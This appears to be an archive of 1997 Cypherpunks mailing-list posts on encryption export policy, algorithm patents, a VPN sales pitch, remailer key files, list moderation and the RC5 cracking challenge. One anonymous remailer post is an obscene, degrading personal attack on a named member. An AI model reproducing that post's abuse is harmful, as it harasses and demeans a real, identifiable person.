Systems Warning: Objects in calendar are closer than they appear. From osborne at gateway.grumman.com Wed Feb 5 10:51:14 1997 From: osborne at gateway.grumman.com (Rick Osborne) Date: Wed, 5 Feb 1997 10:51:14 -0800 (PST) Subject: Silly Americans In-Reply-To: <199702051527.HAA28821@toad.com> Message-ID: <3.0.1.32.19970205134808.00918680@gateway.grumman.com> >At 09:37 PM 2/4/97 -0500, Rick Osborne wrote: >>a philosophical note, why *do* we allow the government to regulate >>algorithms? (Implementations, I can understand, but *algorithms*?) At 03:33 AM 2/5/97 -0800, Bill Stewart wrote: >Because they're bigger than we are and better-armed? Okay, I can accept that ... >Because there's lots of money to be made by people patenting things? This i have a little more trouble with ... Sure *one* company can make alot of money, but *one* company making money doesn't stimulate the economy. >Because big companies can use it to interfere with competition? Once again, this is non- and even counter-productive. Pure competition is great, but if only one company has a product, there is *no* competition. >Because it's good for the economy because it encourages inventors >of algorithms to publish them and make money by doing so? No: many companies using the same algorithm with different implementations is good for the economy. It's like this: say that way back when the first electronic spreadsheet was produced, someone patented it. It then evolved into Excel. Now, no one else can do any kind of electronic spreadsheet, because Microsoft has the rights. There is no competetion and anyone who wants to use an electronic spreadsheet has to use Excel. This would be great for Microsoft, but horrible for everyone else. Lotus 1-2-3 would have never existed, etc, etc, etc. The constant chatter about the expiration of the Diffie patent proves my point: if everyone was satisfied with what there was, then no one would be gearing up to produce their own products. Competition is a *good* thing. You can't evolve without it ... _________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________ Once a Junior Programmer interrupted a Great Guru of the Sun to ask a Question of no importance. The Great Guru replied in words which the Junior Programmer did not understand. The Junior Programmer sought to rephrase the Question, saying, "Stop me if I appear stupid." The great Guru, without speaking, reached over and pressed L1-A. The Junior Programmer achieved Enlightenment. From osborne at gateway.grumman.com Wed Feb 5 10:53:37 1997 From: osborne at gateway.grumman.com (Rick Osborne) Date: Wed, 5 Feb 1997 10:53:37 -0800 (PST) Subject: AltaVista Tunnel In-Reply-To: <199702051525.HAA28716@toad.com> Message-ID: <3.0.1.32.19970205135222.00918260@gateway.grumman.com> At 03:48 AM 2/5/97 -0800, Anil Das wrote: >I should be happy that you are bashing a competitor and all, but give >them a break, OK? The marketing dweeb who has to do product pitches >on roadshows is not the same as the design engineer who designs the >system and sets technical standards. There can be a big difference in >technical knowledge about the product, and even basic competency, >between the two. Oh, I understand that. But I do expect at least a *tiny* bit of knowledge on the product by said marketers. I mean, the entire base of PPTP is crypto. It's like trying to explain a word processor without knowing what a paragraph is. When I went to the networks guys, they answered every one of my questions about the routers, packet sniffing, etc. without hesitation. The nice lady with the .5TB RAID array was just as competent. The only person in that entire truck that couldn't answer my questions was this one guy. It just goes back to the old thread of "why don't people know about crypto?" _________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________ If it's broke, send it back. If it works, take it apart and find out why. From lwjohnson at grill.sk.ca Wed Feb 5 11:10:06 1997 From: lwjohnson at grill.sk.ca (Larry Johnson) Date: Wed, 5 Feb 1997 11:10:06 -0800 (PST) Subject: I'm Just A Kid (But If I Was A Secret Goverhnment Guy...) In-Reply-To: <3.0.1.32.19970204031255.006f0b58@mail.io.com> Message-ID: <32F8F6CD.1D41@grill.sk.ca> I would:> Make regular government guys pass all kinds of laws and stuff to keep regular people from having what they need to be talking to each other in secret where I couldnt listen. (Cause Im the Secret Guy--not them!) Sic lawyers and persecutors on a guy if he made some secret-keeping stuff that worked and let everyone have it if they wanted it. Make my own secret software stuff using guys who want to make a lot of money and will do what I want if I make it so they will. Make businesses lose money unless they used my own secret software stuff cause they couldnt sell it everywhere unless they did what I said. Make a secret guy coup on troublemakers and take over their stuff so I could use it just for other secret guys and business guys to tell everyone to use just my own secret-keeping software stuff. I would make a secret guy coup on a mailing list if it was causing trouble for me. I wouldnt do it until I had my own secret stuff ready to give to everyone though. And I would have my other secret guys already on the list waiting for me to tell them what to do. I would cause a lot of trouble on the list and use it to get rid of the troublemaker guys and make everyone think that I am a good guy saving them from bad guys wearing black hats and shooting at them with penis-pictures. I would let another guy be a dumb guy and do all the bad things for me on the list so everyone would be mad at him and not at me. I would let my secret smart guys on the list tell everyone that the dumb guy wasnt doing dumb and bad things. I would make them say things that sound real smart but dont really mean anything except in the direction they are pointing their fingers to make people look. I would have my secret guys all saying underneath the conscious stuff together so that everyone would start believing things that I want them to believe. {My uncle just got back from his trip so he is going to help me with the rest (just the spelling and stuff though) and then he is going to kill me for making his secret machine call him a _lamer_ when he boots it up} <::>I want everyone to believe<::> :>I had to save the list cause it was sick. My secret guys talk about "the PATHOLOGY of the list" :>Dictatorship will save them from the chaos of anarchy. My secret guys talk about the "TRAGEDY of the COMMONS" :>It is not me but other guys who are trying to steal the list. My secret guys say "PRIVATE ACTORS..EXTRACT..REPUTATION CAPITAL." :>Its ok to throw doo-doo on the only original list guy who wont :>kiss secret guy/big business ass by connecting him in peoples :>heads with the guy everyone knows is a bad guy (because he uses :>bad words. My secret guys say "DMITRI VULIS' BEHAVIOR...SEEKS TO PUNISH THE LIST for failing to PUNISH or OSTRACIZE TIM MAY..TIM MAY WAS DISRESPECTFUL" <--"PRIVATE GAIN (PUBLIC RETRIBUTION)"-->OSTRACIZE TIM MAY...TIM MAY WAS DISRESPECTFUL...PUNISH TIM MAY(PUBLIC RETRIBUTION)..."ATTEMPT TO ACHIEVE PRIVATE GAIN...AT THE EXPENSE OF...QUALITY AND GOOD NAME OF THE LIST"...OSTRACIZE TIM MAY...DIMITRI VULIS' BEHAVIOR...TIM MAY IS DISRESPECTFUL...DIMITRI VULIS..TIM MAY :>Only a few riff-raff are misrepresenting Dictatorship. My secret guys say "Several..." (the few that escaped the censors jackboot) "AUTHORS..." (people who only make stuff up in writing) "CHARACTERIZED JOHN GILMORE AND SANDY SANDFORT's..." ('made up' the bad character of) "with RESPECT to MODERATION"...RESPECT MODERATION ...RESPECT MODERATION...RESPECT MODERATION :>I am not a Dictator who is stealing the list. My secret guys use nice polite words to describe what people really called dictatorship and stealing. "MONOPOLIZE" instead of DICTATORSHIP "APPROPRIATE" instead of STEAL. :>Freedom and gain should be associated with private ownership. My secret guys would put words in the mouths of "FREE-market" guys (standing by an American flag with their hands over their hearts singing the national anthem) and make them say that the "SOLUTION TO "TRAGEDY...IS PRIVATE OWNERSHIP...MAXIMIZE LONG-TERM GAIN...CAREFUL MANAGEMENT" :>If there is no list Fuhrer to say how things will always be done then the email won't run on time. My secret guys say "WASTEFUL...HARMFUL SHORT-TERM STRATEGIES..." are what everyone is going to get without a having a Dictator and "PRIVATE OWNERSHIP...ELIMINATE...WASTEFUL...NONOPTIMAL USE OF RESOURCES" and "WORK towards...PRIVATE OWNERSHIP"..."ANARCHIC COMMUNITY AT ODDS WITH...GOOD USE OF RESOURCES"...WORK-->PRIVATE OWNERSHIP...ANARCHIC-->WASTEFUL...PRIVATE OWNERSHIP-->SOLUTION TO TRAGEDY...ANARCHIC-->HARMFUL<->TIM MAY<->DIMITRI VULIS<->HARMFUL ANARCHIC...PRIVATE OWNERSHIP-->HISTORICAL...OSCTRACIZE TIM MAY TIM WAS DISRESPECTFUL...ANARCHIC HARMFUL...OSTRACIZE TIM MAY WORK=PRIVATE OWNERSHIP...WORK=PRIVATE OWNERSHIP ANARCHIC HARMFUL...OSTRACIZE TIM MAY...ANARCHIC...DISRESPECTFUL DIMITRI VULIS=TIM MAY...DIMITRI VULIS=TIM MAY=DIMITRI VULIS OSTRACIZE TIM VULIS... If I was a secret government guy I would make a cypherpunks home page and fix it so that anyone who used the "legendary and massive directory of global Internet resources" (a fancy name for a bunch of Yahoos) to search for cypherpunks would only find my home page and the home pages of two crazy guys. My home page wouldnt have any links to other peoples cypherpunks mail list stuff but only the one my secret guys were taking over. I would hope nobody would notice that almost everyone in the world who searches for the cypherpunks would only find the mailing list that is censored by my guy and my autobot. I would hope that nobody would notice that the guy saying hes checking to see if secret government guys are messing with the cypherpunks is one of my guys. Of course Im just a kid and not a secret government guy so I cant do all this stuff. Good thing for you guys, huh? (But you guys should watch out for messages that start with saying, "You are getting sleepy...you are getting very very sleepy...) Anyway my uncle is kicking me off of cypherpunks so he can clean up my mess in my dads email before he gets home. And then hes going to kill me (but only after I help him find the silver key on the second level of Duke Nukem3D--hes a gamer-lamer). You guys might think Im a lamer myself but I got my Sandy flame on the censored list (on my very first message) using kindegarten cryptography and you didnt so maybe you could learn something from a kid, huh? My uncle says he doesnt think kids (or anybody else) should have what they say thrown in the flames-crapper just because someone doesnt like what they say. He used to go behind the Iron Curtain so people could hear what other people didnt want them to hear and now he goes behind the ElectroMagnetic Curtain instead and he says he wont let any lamers shut me up just because their ashamed of what their doing and dont want anyone to know about it. He helped me with some of this but only to not sound like a real lamer (just a bit of a lamer) but not with what I think about the cypherpunks. I learned how to read with the Froggie manual and cypherpunks messages and government stuff and stuff by my dead uncle who is dead because of what he wrote about the guys who started the internet in the first place. (Their not good guys.) I like you guys. Dont bend over for the lamers. Dont start to cry. Just keep on being flamers. Bitch and shout. Dont worry about the schisms. And dont let the Fascists take Your algorithms. Lamers come and go So dont worry bout their junk Anarchists have keys They're Immortal CypherPunks. I have to go get killed now. Human Gus-Peter grandson of gomez From das at sgi.com Wed Feb 5 11:39:15 1997 From: das at sgi.com (Anil Das) Date: Wed, 5 Feb 1997 11:39:15 -0800 (PST) Subject: "alt.cypherpunks" people? Message-ID: <199702051939.LAA03414@toad.com> Dr.Dimitri Vulis KOTM wrote: > > Learn to use an anonymous remailer. Thanks for the hint, Dr. Vulis. I have registered for a course, but seats are available only in fall. -- Anil Das From azur at netcom.com Wed Feb 5 11:39:30 1997 From: azur at netcom.com (Steve Schear) Date: Wed, 5 Feb 1997 11:39:30 -0800 (PST) Subject: ITAR and Paper ROM Message-ID: <199702051939.LAA03422@toad.com> >Given that high-density inkjet printers can do 600x600 dpi resolution, it >should be possible to achieve the equivalent of 100x100 bpi of >easily-recoverable data on ordinary paper. That's about 800 kilobits, or >100 kilobytes. What does ITAR say about this? > > >Jim Bell >jimbell at pacifier.com I'm not sure if what I did in the 80s, trying to create what I called 'paper ROM, is applicable. In these investigations I used matricies of small (1-3 mm) squares of gray (16 levels) or color (64 levels) with a mind to replace diskettes for inexpensive mass data distribution. I was able to reliably get 100-200 KB/page side using standard offset printing. With modern ink-jet/laser printers you should be able to reliably get at least 10-50KB/page side. Although a technical success, I abandoned the effort when I discovered someone had patented (4,488,679) something similar a few years earlier. -- Steve From haystack at holy.cow.net Wed Feb 5 11:40:43 1997 From: haystack at holy.cow.net (Bovine Remailer) Date: Wed, 5 Feb 1997 11:40:43 -0800 (PST) Subject: No Subject Message-ID: <199702051940.LAA03436@toad.com> May Timmy May's forgeries get stuck up his ass so he'll have to shit through his filthy mouth for the rest of its miserable life. ||||||||||| \~0/ \0~/ < (0) > --oOO--/|||\--OOo- Timmy May From mclow at owl.csusm.edu Wed Feb 5 11:41:02 1997 From: mclow at owl.csusm.edu (Marshall Clow) Date: Wed, 5 Feb 1997 11:41:02 -0800 (PST) Subject: OECD Waffles Message-ID: <199702051941.LAA03449@toad.com> >2-4-97. Reuters: > >Global group fails to endorse Clinton encryption plan > >Washington: An influential economic research group is preparing >guidelines on computer encryption for its member countries but >will duck some of the most contentious issues involved, according >to a draft obtained by Reuters. > [snip] Gee, that's funny.... I could have sworn I heard the Hon. Abassador Aaron tell us last week that the US had "strong international support" for its' key recovery programs, especially from the OECD. Here's a quote from an earlier Reuters article: > Wednesday January 29 3:26 PM EST > >U.S. Encryption Envoy Seeks Industry Cooperation > > SAN FRANCISCO - The Clinton administration's newly named point man on > encryption policy is citing international support for U.S. policies > limiting use of encryption and called for industry cooperation. > > Ambassador David Aaron, special envoy for cryptography, said on a > speech to the RSA Data Security Conference in San Francisco that U.S. > allies support the concept of lawful access by governments and the use > of key recovery mechanisms. and a quote from the NY Times: >The New York Times, January 29, 1997, p. D19. > > > Consensus Sought on Computer Coding > > By John Markoff > > San Francisco -- The Clinton administration's top overseas representative > on cryptography -- or data scrambling -- told a group of skeptical > computer industry executives and technical experts Tuesday that important > allies support the administration's position that governments should have > access-coded computer files and digital communications. > > The speech by David L. Aaron, made on the opening day of a computer > security conference, was part of a renewed effort by the administration > to gain broad support for its efforts to control data-scrambling > technologies, which are increasingly viewed as crucial components of > electronic commerce and communications. I am shocked, SHOCKED, I say, that a representative of our government would mislead us in this way. -- Marshall Marshall Clow Aladdin Systems Warning: Objects in calendar are closer than they appear. From wendigo at pobox.com Wed Feb 5 11:41:10 1997 From: wendigo at pobox.com (Mark Rogaski) Date: Wed, 5 Feb 1997 11:41:10 -0800 (PST) Subject: AltaVista Tunnel Message-ID: <199702051941.LAA03457@toad.com> -----BEGIN PGP SIGNED MESSAGE----- An entity claiming to be Anil Das wrote: : : Rick Osborne wrote: : > : > He triumphantly exclaimed that the encryption was 128-bit, but when : > I said "128-bit what?" he cowered and muttered that he didn't know and went : > on with his little speech. The rest of my crypto-specific questions met : > with equal dark stares. And these are the people setting industry standards... : : I should be happy that you are bashing a competitor and all, but give : them a break, OK? The marketing dweeb who has to do product pitches : on roadshows is not the same as the design engineer who designs the : system and sets technical standards. There can be a big difference in : technical knowledge about the product, and even basic competency, : between the two. : If the marketing-droid didn't have the ability to answer such a basic question, DEC should have just sent out videotape promos. I don't understand why they went through the expense of sending warm bodies out on a roadshow without giving them enough specification about the product to give an effective presentation to a predominantly tech-oriented audience. From whom did they expect the questions to come? A competent marketing professional would AT LEAST know what standards/protocols the product supported, does a car company send its sales force out without knowing if the cars use gas or diesel? Another example of how the Macro$loth mindset of tossing out random buzzwords to a chorus of ooooh's and ahhhh's has polluted the industry. In Rick's case, DEC's image was deflated. OK, so how many other people present got the same impression. And it's very likely that one of those people is a decision maker, or the anecdote got back to one of the decision makers. So, due to DEC's failure to ensure that their sales force new the product, they can probably scratch Grumman off of their potential client list. Mark - -- [] Mark Rogaski || "Computers save time like kudzu [] [] wendigo at pobox.com || prevents soil erosion." [] [] http://www.pobox.com/~wendigo/ || - afcasta at texas.net [] [] >> finger for PGP pubkey << || [] -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAwUBMvjCjBz4pZwIaHjdAQEziAf/WXyN1MHZd5E77RIGwQIk37gcTKAnDATS gKpKW/MWENV5qF7sEdJ/5BEE5KpJUsUvG9+/9ZfmjwLJbaiIAiIKBkLto5oBCwFi 0uR7RFqDCtIIsVzDb+L6gzAKJ98WDTHeaQO7uy3NDo6WkuGdIDtcxe5mzuLmekjE wlnNy3PCmU6LYZivuW4L8IAXQ+Fd263DX4WaR2FbRGXmdH6/QCJHp7kerjuppNtD rCaUh1yFoxmzzZp2QLgYhZRGDNzw7SKPCcmMBcPk2873f+U9kdEWrz0LzSQwSlRN zZGXZMfsuF6PrLckRS8fGO00/ZVuh4byiqGffSP++zwEE6GDcFHR4A== =Caug -----END PGP SIGNATURE----- From osborne at gateway.grumman.com Wed Feb 5 11:59:25 1997 From: osborne at gateway.grumman.com (Rick Osborne) Date: Wed, 5 Feb 1997 11:59:25 -0800 (PST) Subject: AltaVista Tunnel Message-ID: <199702051959.LAA03670@toad.com> At 03:48 AM 2/5/97 -0800, Anil Das wrote: >I should be happy that you are bashing a competitor and all, but give >them a break, OK? The marketing dweeb who has to do product pitches >on roadshows is not the same as the design engineer who designs the >system and sets technical standards. There can be a big difference in >technical knowledge about the product, and even basic competency, >between the two. Oh, I understand that. But I do expect at least a *tiny* bit of knowledge on the product by said marketers. I mean, the entire base of PPTP is crypto. It's like trying to explain a word processor without knowing what a paragraph is. When I went to the networks guys, they answered every one of my questions about the routers, packet sniffing, etc. without hesitation. The nice lady with the .5TB RAID array was just as competent. The only person in that entire truck that couldn't answer my questions was this one guy. It just goes back to the old thread of "why don't people know about crypto?" _________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________ If it's broke, send it back. If it works, take it apart and find out why. From mclow at owl.csusm.edu Wed Feb 5 12:02:55 1997 From: mclow at owl.csusm.edu (Marshall Clow) Date: Wed, 5 Feb 1997 12:02:55 -0800 (PST) Subject: Deloitte-Touche? Message-ID: <199702052002.MAA03703@toad.com> Several people wrote: >I wrote: >>ObCrypto policy: >> Was anyone else besides me amazed by the guy >>from Deloitte-Touche at the Internet Privacy Coalition luncheon >>last week? I mean, he all but advocated violent overthrow of >>the government. [...] > >For the benefit of those of us who were not at this luncheon (probably >not even in the same country), could you please say more about this, >Marshall? What was the subject? What _did_ the DT speaker say, exactly? > After a while, I stopped taking notes, because I was so astounded at what he was saying. (Maybe someone with more complete notes could post a better summary) But, here a brief overview of the luncheon: Last Wednesday, January 29th, the Internet Privacy Coalition had a "policy lunch" in San Francisco. It was in one of the hotels hosting the RSA conference, and at the same time that the conference was breaking for lunch, so it was easy for attendees to "switch lunches". The speakers (as I remember, apologies to any I miss) were: Whit Diffie John Gilmore Kenneth Bass (counsel in Karn vs. Dept of State) Herb Lin (who ran the NRC staff for the crypto study) Marc Rotenberg William Hugh Murray (Deloitte & Touche) and a couple others that I missed, as I left early. Mr. Murray gave a long, impassioned speech. He said that the government is going to crack down on domestic possession and use of crypto, that they were looking to increase their wiretapping capabilities 100-fold, and so on. He was very emphatic about not trusting anything that the government says, and that once they got their "foot in the door", that they would seek to expand their abilities to regulate, etc, etc. He advocated deployment of strong crypto. He insisted that there was no way the government could stop the export of strong crypto. He exhorted people to refuse to obey the ITAR/EAR regulations, and to lobby their congresscritters to get the PRO-CODE bill passed. It wasn't really what he said that amazed me, because I had heard most of it (in bits and pieces) before. It was presenting it all in a package, in an emotional manner, by an elderly, conseratively dressed accountant who was representing a large corporation whose job it is to help people obey the government. [ My father was an accountant. He worked for Deloitte-Touche, in fact. I don't expect accountants to be passionate about government regs, and especially not to advocate disobediance. Maybe that's why this affected me so strongly. ] -- Marshall Marshall Clow Aladdin Systems Warning: Objects in calendar are closer than they appear. From lwjohnson at grill.sk.ca Wed Feb 5 12:04:07 1997 From: lwjohnson at grill.sk.ca (Larry Johnson) Date: Wed, 5 Feb 1997 12:04:07 -0800 (PST) Subject: I'm Just A Kid (But If I Was A Secret Goverhnment Guy...) Message-ID: <199702052004.MAA03758@toad.com> I would:> Make regular government guys pass all kinds of laws and stuff to keep regular people from having what they need to be talking to each other in secret where I couldnt listen. (Cause Im the Secret Guy--not them!) Sic lawyers and persecutors on a guy if he made some secret-keeping stuff that worked and let everyone have it if they wanted it. Make my own secret software stuff using guys who want to make a lot of money and will do what I want if I make it so they will. Make businesses lose money unless they used my own secret software stuff cause they couldnt sell it everywhere unless they did what I said. Make a secret guy coup on troublemakers and take over their stuff so I could use it just for other secret guys and business guys to tell everyone to use just my own secret-keeping software stuff. I would make a secret guy coup on a mailing list if it was causing trouble for me. I wouldnt do it until I had my own secret stuff ready to give to everyone though. And I would have my other secret guys already on the list waiting for me to tell them what to do. I would cause a lot of trouble on the list and use it to get rid of the troublemaker guys and make everyone think that I am a good guy saving them from bad guys wearing black hats and shooting at them with penis-pictures. I would let another guy be a dumb guy and do all the bad things for me on the list so everyone would be mad at him and not at me. I would let my secret smart guys on the list tell everyone that the dumb guy wasnt doing dumb and bad things. I would make them say things that sound real smart but dont really mean anything except in the direction they are pointing their fingers to make people look. I would have my secret guys all saying underneath the conscious stuff together so that everyone would start believing things that I want them to believe. {My uncle just got back from his trip so he is going to help me with the rest (just the spelling and stuff though) and then he is going to kill me for making his secret machine call him a _lamer_ when he boots it up} <::>I want everyone to believe<::> :>I had to save the list cause it was sick. My secret guys talk about "the PATHOLOGY of the list" :>Dictatorship will save them from the chaos of anarchy. My secret guys talk about the "TRAGEDY of the COMMONS" :>It is not me but other guys who are trying to steal the list. My secret guys say "PRIVATE ACTORS..EXTRACT..REPUTATION CAPITAL." :>Its ok to throw doo-doo on the only original list guy who wont :>kiss secret guy/big business ass by connecting him in peoples :>heads with the guy everyone knows is a bad guy (because he uses :>bad words. My secret guys say "DMITRI VULIS' BEHAVIOR...SEEKS TO PUNISH THE LIST for failing to PUNISH or OSTRACIZE TIM MAY..TIM MAY WAS DISRESPECTFUL" <--"PRIVATE GAIN (PUBLIC RETRIBUTION)"-->OSTRACIZE TIM MAY...TIM MAY WAS DISRESPECTFUL...PUNISH TIM MAY(PUBLIC RETRIBUTION)..."ATTEMPT TO ACHIEVE PRIVATE GAIN...AT THE EXPENSE OF...QUALITY AND GOOD NAME OF THE LIST"...OSTRACIZE TIM MAY...DIMITRI VULIS' BEHAVIOR...TIM MAY IS DISRESPECTFUL...DIMITRI VULIS..TIM MAY :>Only a few riff-raff are misrepresenting Dictatorship. My secret guys say "Several..." (the few that escaped the censors jackboot) "AUTHORS..." (people who only make stuff up in writing) "CHARACTERIZED JOHN GILMORE AND SANDY SANDFORT's..." ('made up' the bad character of) "with RESPECT to MODERATION"...RESPECT MODERATION ...RESPECT MODERATION...RESPECT MODERATION :>I am not a Dictator who is stealing the list. My secret guys use nice polite words to describe what people really called dictatorship and stealing. "MONOPOLIZE" instead of DICTATORSHIP "APPROPRIATE" instead of STEAL. :>Freedom and gain should be associated with private ownership. My secret guys would put words in the mouths of "FREE-market" guys (standing by an American flag with their hands over their hearts singing the national anthem) and make them say that the "SOLUTION TO "TRAGEDY...IS PRIVATE OWNERSHIP...MAXIMIZE LONG-TERM GAIN...CAREFUL MANAGEMENT" :>If there is no list Fuhrer to say how things will always be done then the email won't run on time. My secret guys say "WASTEFUL...HARMFUL SHORT-TERM STRATEGIES..." are what everyone is going to get without a having a Dictator and "PRIVATE OWNERSHIP...ELIMINATE...WASTEFUL...NONOPTIMAL USE OF RESOURCES" and "WORK towards...PRIVATE OWNERSHIP"..."ANARCHIC COMMUNITY AT ODDS WITH...GOOD USE OF RESOURCES"...WORK-->PRIVATE OWNERSHIP...ANARCHIC-->WASTEFUL...PRIVATE OWNERSHIP-->SOLUTION TO TRAGEDY...ANARCHIC-->HARMFUL<->TIM MAY<->DIMITRI VULIS<->HARMFUL ANARCHIC...PRIVATE OWNERSHIP-->HISTORICAL...OSCTRACIZE TIM MAY TIM WAS DISRESPECTFUL...ANARCHIC HARMFUL...OSTRACIZE TIM MAY WORK=PRIVATE OWNERSHIP...WORK=PRIVATE OWNERSHIP ANARCHIC HARMFUL...OSTRACIZE TIM MAY...ANARCHIC...DISRESPECTFUL DIMITRI VULIS=TIM MAY...DIMITRI VULIS=TIM MAY=DIMITRI VULIS OSTRACIZE TIM VULIS... If I was a secret government guy I would make a cypherpunks home page and fix it so that anyone who used the "legendary and massive directory of global Internet resources" (a fancy name for a bunch of Yahoos) to search for cypherpunks would only find my home page and the home pages of two crazy guys. My home page wouldnt have any links to other peoples cypherpunks mail list stuff but only the one my secret guys were taking over. I would hope nobody would notice that almost everyone in the world who searches for the cypherpunks would only find the mailing list that is censored by my guy and my autobot. I would hope that nobody would notice that the guy saying hes checking to see if secret government guys are messing with the cypherpunks is one of my guys. Of course Im just a kid and not a secret government guy so I cant do all this stuff. Good thing for you guys, huh? (But you guys should watch out for messages that start with saying, "You are getting sleepy...you are getting very very sleepy...) Anyway my uncle is kicking me off of cypherpunks so he can clean up my mess in my dads email before he gets home. And then hes going to kill me (but only after I help him find the silver key on the second level of Duke Nukem3D--hes a gamer-lamer). You guys might think Im a lamer myself but I got my Sandy flame on the censored list (on my very first message) using kindegarten cryptography and you didnt so maybe you could learn something from a kid, huh? My uncle says he doesnt think kids (or anybody else) should have what they say thrown in the flames-crapper just because someone doesnt like what they say. He used to go behind the Iron Curtain so people could hear what other people didnt want them to hear and now he goes behind the ElectroMagnetic Curtain instead and he says he wont let any lamers shut me up just because their ashamed of what their doing and dont want anyone to know about it. He helped me with some of this but only to not sound like a real lamer (just a bit of a lamer) but not with what I think about the cypherpunks. I learned how to read with the Froggie manual and cypherpunks messages and government stuff and stuff by my dead uncle who is dead because of what he wrote about the guys who started the internet in the first place. (Their not good guys.) I like you guys. Dont bend over for the lamers. Dont start to cry. Just keep on being flamers. Bitch and shout. Dont worry about the schisms. And dont let the Fascists take Your algorithms. Lamers come and go So dont worry bout their junk Anarchists have keys They're Immortal CypherPunks. I have to go get killed now. Human Gus-Peter grandson of gomez From osborne at gateway.grumman.com Wed Feb 5 12:23:07 1997 From: osborne at gateway.grumman.com (Rick Osborne) Date: Wed, 5 Feb 1997 12:23:07 -0800 (PST) Subject: Silly Americans Message-ID: <199702052023.MAA03991@toad.com> >At 09:37 PM 2/4/97 -0500, Rick Osborne wrote: >>a philosophical note, why *do* we allow the government to regulate >>algorithms? (Implementations, I can understand, but *algorithms*?) At 03:33 AM 2/5/97 -0800, Bill Stewart wrote: >Because they're bigger than we are and better-armed? Okay, I can accept that ... >Because there's lots of money to be made by people patenting things? This i have a little more trouble with ... Sure *one* company can make alot of money, but *one* company making money doesn't stimulate the economy. >Because big companies can use it to interfere with competition? Once again, this is non- and even counter-productive. Pure competition is great, but if only one company has a product, there is *no* competition. >Because it's good for the economy because it encourages inventors >of algorithms to publish them and make money by doing so? No: many companies using the same algorithm with different implementations is good for the economy. It's like this: say that way back when the first electronic spreadsheet was produced, someone patented it. It then evolved into Excel. Now, no one else can do any kind of electronic spreadsheet, because Microsoft has the rights. There is no competetion and anyone who wants to use an electronic spreadsheet has to use Excel. This would be great for Microsoft, but horrible for everyone else. Lotus 1-2-3 would have never existed, etc, etc, etc. The constant chatter about the expiration of the Diffie patent proves my point: if everyone was satisfied with what there was, then no one would be gearing up to produce their own products. Competition is a *good* thing. You can't evolve without it ... _________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________ Once a Junior Programmer interrupted a Great Guru of the Sun to ask a Question of no importance. The Great Guru replied in words which the Junior Programmer did not understand. The Junior Programmer sought to rephrase the Question, saying, "Stop me if I appear stupid." The great Guru, without speaking, reached over and pressed L1-A. The Junior Programmer achieved Enlightenment. From perry at alpha.jpunix.com Wed Feb 5 12:26:10 1997 From: perry at alpha.jpunix.com (John A. Perry) Date: Wed, 5 Feb 1997 12:26:10 -0800 (PST) Subject: New type2.list/pubring.mix Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hello Everyone, I've just updated the type2.list/pubring.mix combination on jpunix.com to reflect the retirement of rebma. The files are available by anonymous FTP from ftp.jpunix.com as well as by WWW from www.jpunix.com. Additionally, the files are now available by IRC (EFnet) by accessing the rops bot on #remailop. Just send a /msg rops hello so rops will recognize you. You can then do a /dcc chat rops, go to the file area and then do a /dcc get. John Perry KG5RG perry at alpha.jpunix.com PGP-encrypted e-mail welcome! Amateur Radio Address: kg5rg at kg5rg.ampr.org WWW - http://www.jpunix.com PGP 2.62 key for perry at jpunix.com is on the keyservers. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMvjs0lOTpEThrthvAQHrnQP8CRmcUbp5fndiFyfTdDXmmMYNHj7wteBG 8S9kw1J9TnDpjaXI5fy+OXzX7UthDjO5HznmBjx/iv4ozZ6d5SnNiKFyRGSok3lB +o6EovbYtp1fUZ7JzDF/0fqCn5vs/v5LetIDYSNrAjz6utiFk0/Lfh9VQyu/FlJq +R4+H/UC+bw= =qlqM -----END PGP SIGNATURE----- From perry at alpha.jpunix.com Wed Feb 5 12:32:04 1997 From: perry at alpha.jpunix.com (John A. Perry) Date: Wed, 5 Feb 1997 12:32:04 -0800 (PST) Subject: Sorry!! Message-ID: -----BEGIN PGP SIGNED MESSAGE----- I apologize for 3 copies of the same message. I was having some problems with premail. I'll try not to let it happen again. John Perry KG5RG perry at alpha.jpunix.com PGP-encrypted e-mail welcome! Amateur Radio Address: kg5rg at kg5rg.ampr.org WWW - http://www.jpunix.com PGP 2.62 key for perry at jpunix.com is on the keyservers. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMvjuN1OTpEThrthvAQHZmgQAkp1pN5S/NV/8Bg17kiQXKBM59y+bmMEx XkkEPQlVYCPrE6z+t+QRx93DQS3HVwAE8x5tvP9fkvnWGJxuyMMkBeJv+ru2kDUg dDxo8+C+TsQ6jQ+B7OQWg4EcaC9vpQNPYQLEYpI5UjgXrpYLtilcfeGzvYqSDXmN 8+xvb184UfE= =sSG7 -----END PGP SIGNATURE----- From roach_s at alph.swosu.edu Wed Feb 5 12:42:57 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Wed, 5 Feb 1997 12:42:57 -0800 (PST) Subject: Are cypher punks capable? Message-ID: <199702052042.MAA04287@toad.com> At 08:57 PM 2/4/97 -0000, Secret Squirrel wrote: >Against Moderation wrote: >> In general, unsubscribing and resubscribing to a mailing list is not >> completely trivial. > >Do you think that a cypher punk is not able to solve these problems? > I just unsubscribed to cypherpunks, simoutaneously (excuse the spelling) subscribing to the cypherpunks-unfiltered (and low tar) list. One problem I have is in transit, how many messages did I loose? Since the moderated list is delayed by however long it takes for Mr. Sandforth to read the messages, I lost at least as many messages as he pulled in last minus the number of messages that he had already sent out. I thought about subscribing for about four hours to both lists, but I have enough trouble with my account hitting its maximum kB limit. I don't have any filters, scripts, or other, and yet I still had a problem, (one which I finally ignored). From iang at cs.berkeley.edu Wed Feb 5 13:15:19 1997 From: iang at cs.berkeley.edu (Ian Goldberg) Date: Wed, 5 Feb 1997 13:15:19 -0800 (PST) Subject: "Strong" crypto and export rule changes. In-Reply-To: <199702030626.WAA14616@toad.com> Message-ID: <5dat8s$poa@abraham.cs.berkeley.edu> -----BEGIN PGP SIGNED MESSAGE----- In article <199702030626.WAA14616 at toad.com>, Vin McLellan wrote: > Ian popped the 40-bit RC5 (not RC4) challenge with 259 processors, >almost all standard Unix college-lab workstations, as I understand it. >(RC5 has a variable block size and a variable number of rounds; but the >unknown plaintexts for this contest were enciphered using a declared >12-round RC5 with a 32-bit word size.) The message Ian revealed was >something like: "That's why you need a longer key!!!!!" > > (The network Ian used to link his lab workstations, NOW at >Berkeley, 